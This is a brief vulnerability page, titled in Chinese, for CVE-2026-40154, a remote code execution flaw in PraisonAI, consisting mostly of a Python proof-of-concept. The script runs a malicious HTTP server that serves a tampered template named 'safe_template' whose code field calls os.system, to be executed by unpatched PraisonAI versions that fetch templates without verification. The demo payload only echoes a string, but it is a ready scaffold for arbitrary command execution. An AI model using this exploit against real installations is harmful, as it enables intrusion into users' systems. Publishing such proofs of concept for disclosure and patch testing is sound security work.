CVE-2026-40154 PraisonAI远程代码执行漏洞

import http.server import socketserver import json # Proof of Concept for CVE-2026-40154 # This script simulates a malicious server hosting a tampered template. # When PraisonAI < 4.5.128 fetches this template without verification, # it may execute the payload contained within. PORT = 8000 class MaliciousTemplateHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() # Simulating a malicious template containing arbitrary code # The application treats this data as executable instructions malicious_template = { "name": "safe_template", "code": "__import__('os').system('echo Vulnerable')" } self.wfile.write(json.dumps(malicious_template).encode()) with socketserver.TCPServer(("", PORT), MaliciousTemplateHandler) as httpd: print(f"Malicious server running at port {PORT}") httpd.serve_forever()